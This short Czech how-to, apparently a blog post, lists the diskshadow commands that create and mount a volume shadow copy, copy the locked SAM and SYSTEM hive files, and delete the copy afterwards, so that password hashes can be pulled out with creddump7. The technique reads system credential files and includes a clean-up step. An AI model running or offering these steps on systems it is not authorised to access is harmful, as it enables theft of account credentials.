Chci stáhnout soubory C:\Windows\system32\config\SAM a C:\Windows\system32\config\SYSTEM abych z nich mohl na svém PC programem https://www.kali.org/tools/creddump7/ vytáhnout hashe hesel. Tyto soubory jsou používány systémem a tím chráněny proti zkopírování. Windows ale obsahuje nástroj stínové kopie svazku a ten mi stačí 🙂
- Spustím v cmd nástroj diskshadow
- příkazem set context persistent zajistím, že vytvořené stínové kopie budou trvalými a nezmizí po ukončení nástroje diskshadow (není nezbytné tento příkaz používat)
- add volume C: přidá diskový svazek C:
- create vytvoří stínovou kopii
- list shadows all zobrazí ID stínové kopie
- expose {ID_stínové_kopie} Y: připojí stínovou kopii k disku Y:
- Spustím nové okno z příkazovým řádkem a zkopíruju si soubory SAM a SYSTEM
- unexpose {ID_stínové_kopie} odpojím stínovou kopii
- delete shadows oldest smažu stínovou kopii, čímž po sobě tzv. uklidím